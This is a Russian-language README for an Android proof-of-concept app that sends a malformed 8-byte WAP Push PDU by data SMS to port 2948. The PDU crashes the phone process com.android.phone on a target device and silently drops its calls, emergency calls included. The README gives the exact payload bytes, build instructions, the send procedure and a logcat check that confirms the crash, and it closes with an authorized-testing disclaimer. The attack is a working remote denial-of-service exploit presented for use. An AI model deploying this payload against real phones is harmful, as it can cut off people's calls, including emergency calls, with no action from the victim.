
Android PoC-приложение, которое отправляет некорректный 8-байтовый WAP Push PDU через SMS, чтобы удалённо вызвать сбой com.android.phone, молча сбрасывая вызовы на целевом аппарате.
Proof-of-concept Android-приложение, которое отправляет сформированный 8-байтовый WAP Push PDU через SMS на
целевой аппарат. Некорректный PDU вызывает NegativeArraySizeException в
WapPushOverSms.decodeWapPdu, которое не перехватывается в InboundSmsHandler и убивает
com.android.phone на принимающем устройстве — сбрасывая любой активный вызов, включая
экстренные вызовы, без какого-либо взаимодействия со стороны жертвы.
Полное описание: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → отправляется как data SMS на порт 2948
./gradlew assembleDebug
Результат: app/build/outputs/apk/debug/app-debug.apk
Требуется Android SDK. Создайте local.properties с путём к вашему SDK (Android Studio
делает это автоматически):
sdk.dir=/path/to/Android/sdk
Установите на устройство-отправитель, введите (или автозаполните из активной SIM) целевой номер, выберите SIM для отправки и нажмите SEND CRASH SMS. Наблюдайте на целевом устройстве:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
Ожидается: FATAL EXCEPTION в com.android.phone в течение ~1–2 с и смена PID для
этого процесса с кратковременной потерей сигнала.
minSdk 30, targetSdk/compileSdk 35.SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE.Для авторизованных исследований в области безопасности и тестирования на устройствах, которыми вы владеете или на которые у вас есть явное разрешение на тестирование. Не используйте против систем или людей без согласия.